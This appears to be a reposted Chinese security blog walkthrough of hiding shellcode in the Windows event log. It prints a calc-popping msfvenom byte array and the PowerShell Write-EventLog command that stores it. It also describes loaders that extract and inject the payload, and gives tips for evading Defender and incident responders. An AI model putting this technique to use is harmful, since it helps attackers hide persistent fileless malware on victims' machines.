您当前的位置:首页 > 电脑百科 > 程序开发 > 编程百科

巧用Windows事件日志“隐藏”载荷

时间:2023-03-10 11:26:46  来源:FreeBuf.COM​  作者:

背景

根据卡巴斯基发布的研究报告发现一项恶意活动,其中的技术涉及将shellcode直接放入windows事件日志,Windows事件日志可以被攻击者用来掩盖特洛伊木马病毒的恶意使用。实现了”无文件”攻击技术,下面就利用该涉及的技术,简单尝试一下。

前置知识

Windows事件日志

Windows默认事件日志查看器为eventvwr.msc,能实现简单的使用,Win+R键后输入eventvwr回车即能打开。Windows主要的日志在“Windows 日志”中,该文件夹中包含所有Windows系统上的五个标准类别。比较常用的Windows日志有系统日志、安全日志、应用程序日志这三个日志内容。

  • 应用程序
  • 安全
  • Setup
  • 系统
  • Forwarded Events

1.jpg

事件查看器的另一个“应用程序和服务日志”文件夹里,包含Windows系统中其它各类重要服务组件的事件日志。Windows PowerShell日志在该集合中。

Windows事件日志文件实际上是以特定的数据结构的方式存储内容,每条记录事件的数据结构由9个字段组成,包括日志名称、来源、记录时间、事件ID、任务类别、级别、计算机、事件数据(EventData)等信息。其中事件数据仅支持消息和二进制数据

写入事件日志

我们可以使用PowerShell操作Windows事件日志,其中Write-EventLog命令可以将事件写入事件日志,参考微软官方文档,其中参数对应上面介绍的字段:

2.png

执行命令

Write-EventLog -LogName Application -Source edge -EventID 65535 -EntryType Information -Category 0 -Message "Hello World!"
  • 1.

3.png

在事件查看器中,可以看到事件ID为65535的日志成功创建在应用程序日志中,消息为Hello World!

4.png

简单复现

写入载荷

只需在Write-EventLog中使用-RawData参数,就可以在事件日志字段中包含二进制数据,而且必须将二进制数据作为字节数组传到-RawData参数中。我们可以将其包含数据的十六进制字符串转换为字节数组,然后再传递。

首先,使用msfvenom生成弹计算器 payload。输出格式为十六进制字符串

5.png

利用工具网站转为字节数组

6.png

$data = [Byte[]](0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00)
  • 1.

使用密钥管理服务日志和KmsRequests作为源进行事件日志写入。

Write-EventLog -LogName 'Key Management Service' -Source KmsRequests -EventID 9999 -EntryType Information -Category 0 -Message "Hello World!" -RawData $data
  • 1.

执行后,Payload已成功存储到事件日志当中。于事件日志的详细信息就能查看到。

7.png

8.png

执行载荷

为了提取并执行写入的载荷,这边用非常简单的C++程序和Python/ target=_blank class=infotextkey>Python脚本进行证明,代码放在​​这里​​。

用Visual Studio编译PoC代码后放在环境中执行,从”隐藏”在事件日志Key Management Services的第一条日志中提取二进制载荷数据并且成功执行。过程中defender并未对其进行告警。

9.png

10.png

另外使用Python的win32evtlog实现读取事件日志内容,然后也用非常常见的shellcode注入技术执行该载荷。

11.png

同样成功执行隐藏在事件日志中的载荷:

12.png

可以看到,对Windows事件日志写入和读取Shellcode,都是使用合法的API调用,所以能借此很好的对载荷进行隐藏。作为一种持久化方法,还是能有更好的玩法。例如配合DLL搜索顺序劫持加载恶意代码等。

注意事项

用户限制

事件日志的写入权限问题。为了能在事件日志条目中存储有效负载,我们拿到的权限必须要能写入日志。

大小限制

需要注意的另一个限制是,事件日志中可以存储的数据量有大小限制。基于事件消息字符串的最大字符限制为31,839个字符。

更持久

在HKEY_LOCAL_macHINESYSTEMCurrentControlSetServicesEventLog对应的日志名称下的条目中,存在一个EventMessageFile属性。如果在注入载荷的时候,事件ID不存在于该属性指定的源关联的事件消息文件中,则会出现下图这个日志消息:

13.png

为了能够更加的持久化不被发现,事件ID和级别等字段都应该伪装成日常日志的样子,以免被应急人员察觉到异常。

参考:

​https://threatpost.com/attackers-use-event-logs-to-hide-fileless-malware/179484​

​https://securelist.com/a-new-secret-stash-for-fileless-malware/106393​

​https://learn.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-readeventloga​

本文作者:supersAIyan, 转载请注明来自​​FreeBuf.COM​



Tags:Windows   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,不构成投资建议。投资者据此操作,风险自担。如有任何标注错误或版权侵犯请与我们联系,我们将及时更正、删除。
▌相关推荐
从Windows到MacOS:操作系统的选择与个人偏好
在数字世界的广阔天地中,操作系统作为计算机的核心软件,为用户提供了与计算机硬件交互的平台。在众多操作系统中,Windows和MacOS因其各自的特点和优势,占据了市场的主导地位。本...【详细内容】
2024-04-11  Search: Windows  点击:(4)  评论:(0)  加入收藏
如何在Windows 10中查看电脑的名称?这里提供详细步骤
你想在有多台计算机组成的网络上查找你的计算机吗?一种方法是找到你的电脑名称,然后在网络上匹配该名称。下面是如何在Windows 10中使用图形和命令行方法查看你的计算机名称。...【详细内容】
2024-04-10  Search: Windows  点击:(2)  评论:(0)  加入收藏
系统优化工具,Ultimate Windows Tweaker软件体验
电脑上的Windows优化工具年年都有,每年还会翻着花样地出现新东西,都不带重复的。每个人都可以上来折腾一番Windows...从这个角度来说,Windows系统还挺“稳定”的,经得起各种用户...【详细内容】
2024-04-10  Search: Windows  点击:(2)  评论:(0)  加入收藏
Windows 10明年结束免费支持 操作系统付费更新来了
微软宣布,Windows 10操作系统将于明年10月14日正式结束免费的技术支持。自此之后,用户想要获得更新补丁,就需要支付费用。具体而言,企业用户和个人用户将面临不同的收费标准。对...【详细内容】
2024-04-08  Search: Windows  点击:(9)  评论:(0)  加入收藏
关于Windows中AppData的相关知识,看这篇文章就可以了
如果AppData文件夹占用了你电脑上的太多空间,则需要清理AppData文件夹。下面是一些帮助你在Windows计算机上进行AppData清理的方法。什么是AppData文件夹AppData文件夹是保存...【详细内容】
2024-03-30  Search: Windows  点击:(2)  评论:(0)  加入收藏
谷歌服务现已支持使用 Windows Hello 人脸和指纹解锁登录
IT之家 3 月 28 日消息,谷歌近日对其账户登录页面进行了重大更新,现在能够在用户登录谷歌账户时,使用 Windows Hello 作为身份验证方法。使用通行密钥,用户将不再局限于使用密码...【详细内容】
2024-03-29  Search: Windows  点击:(23)  评论:(0)  加入收藏
Win11 学院:如何在 Windows 11 Build 226x1.3371 预览版锁屏中扩充财经等内容
3 月 22 日消息,微软今天发布了 Windows 11 226x1.3371 预览版更新,并邀请部分 Release Preview 频道 Windows Insider 用户,测试锁屏扩充功能。微软目前仅邀请部分用户测试,如...【详细内容】
2024-03-22  Search: Windows  点击:(25)  评论:(0)  加入收藏
苹果手机投屏到Windows电脑,帮父母轻松攻克手机难题
明窗净几夜未央,键盘轻敲解忧忙。父母笑颜消难题,孝心科技共光芒。QQ、微信、小红书等社交软件不仅年轻人在用,老年人也逐步使用社交软件建立起自己的朋友圈。但这些“新”软件...【详细内容】
2024-03-18  Search: Windows  点击:(8)  评论:(0)  加入收藏
Linux发行版 Ubuntu 迎更新 界面设计灵感来自 Windows 11
近日,一位第三方开发者推出了一款名为“Wubuntu”的特殊Linux发行版。这款系统源自主流的Ubuntu版本,但在界面设计上却借鉴了微软最新的Windows 11风格,甚至在其中融入了微软标...【详细内容】
2024-02-27  Search: Windows  点击:(43)  评论:(0)  加入收藏
马斯克吐槽Windows取消跳过创建微软账户选项,网友支招:离线设置,千万别连wifi
特斯拉CEO马斯克周末在X上发帖抱怨称,微软似乎已在新电脑上取消了跳过创建或登录微软账户的选项。这意味着没有微软账户就无法安装新的Windows。一位X用户评论称:“在windows...【详细内容】
2024-02-27  Search: Windows  点击:(22)  评论:(0)  加入收藏
▌简易百科推荐
Netflix 是如何管理 2.38 亿会员的
作者 | Surabhi Diwan译者 | 明知山策划 | TinaNetflix 高级软件工程师 Surabhi Diwan 在 2023 年旧金山 QCon 大会上发表了题为管理 Netflix 的 2.38 亿会员 的演讲。她在...【详细内容】
2024-04-08    InfoQ  Tags:Netflix   点击:(0)  评论:(0)  加入收藏
即将过时的 5 种软件开发技能!
作者 | Eran Yahav编译 | 言征出品 | 51CTO技术栈(微信号:blog51cto) 时至今日,AI编码工具已经进化到足够强大了吗?这未必好回答,但从2023 年 Stack Overflow 上的调查数据来看,44%...【详细内容】
2024-04-03    51CTO  Tags:软件开发   点击:(6)  评论:(0)  加入收藏
跳转链接代码怎么写?
在网页开发中,跳转链接是一项常见的功能。然而,对于非技术人员来说,编写跳转链接代码可能会显得有些困难。不用担心!我们可以借助外链平台来简化操作,即使没有编程经验,也能轻松实...【详细内容】
2024-03-27  蓝色天纪    Tags:跳转链接   点击:(13)  评论:(0)  加入收藏
中台亡了,问题到底出在哪里?
曾几何时,中台一度被当做“变革灵药”,嫁接在“前台作战单元”和“后台资源部门”之间,实现企业各业务线的“打通”和全域业务能力集成,提高开发和服务效率。但在中台如火如荼之...【详细内容】
2024-03-27  dbaplus社群    Tags:中台   点击:(9)  评论:(0)  加入收藏
员工写了个比删库更可怕的Bug!
想必大家都听说过删库跑路吧,我之前一直把它当一个段子来看。可万万没想到,就在昨天,我们公司的某位员工,竟然写了一个比删库更可怕的 Bug!给大家分享一下(不是公开处刑),希望朋友们...【详细内容】
2024-03-26  dbaplus社群    Tags:Bug   点击:(5)  评论:(0)  加入收藏
我们一起聊聊什么是正向代理和反向代理
从字面意思上看,代理就是代替处理的意思,一个对象有能力代替另一个对象处理某一件事。代理,这个词在我们的日常生活中也不陌生,比如在购物、旅游等场景中,我们经常会委托别人代替...【详细内容】
2024-03-26  萤火架构  微信公众号  Tags:正向代理   点击:(11)  评论:(0)  加入收藏
看一遍就理解:IO模型详解
前言大家好,我是程序员田螺。今天我们一起来学习IO模型。在本文开始前呢,先问问大家几个问题哈~什么是IO呢?什么是阻塞非阻塞IO?什么是同步异步IO?什么是IO多路复用?select/epoll...【详细内容】
2024-03-26  捡田螺的小男孩  微信公众号  Tags:IO模型   点击:(9)  评论:(0)  加入收藏
为什么都说 HashMap 是线程不安全的?
做Java开发的人,应该都用过 HashMap 这种集合。今天就和大家来聊聊,为什么 HashMap 是线程不安全的。1.HashMap 数据结构简单来说,HashMap 基于哈希表实现。它使用键的哈希码来...【详细内容】
2024-03-22  Java技术指北  微信公众号  Tags:HashMap   点击:(11)  评论:(0)  加入收藏
如何从头开始编写LoRA代码,这有一份教程
选自 lightning.ai作者:Sebastian Raschka机器之心编译编辑:陈萍作者表示:在各种有效的 LLM 微调方法中,LoRA 仍然是他的首选。LoRA(Low-Rank Adaptation)作为一种用于微调 LLM(大...【详细内容】
2024-03-21  机器之心Pro    Tags:LoRA   点击:(12)  评论:(0)  加入收藏
这样搭建日志中心,传统的ELK就扔了吧!
最近客户有个新需求,就是想查看网站的访问情况。由于网站没有做google的统计和百度的统计,所以访问情况,只能通过日志查看,通过脚本的形式给客户导出也不太实际,给客户写个简单的...【详细内容】
2024-03-20  dbaplus社群    Tags:日志   点击:(4)  评论:(0)  加入收藏
站内最新
站内热门
站内头条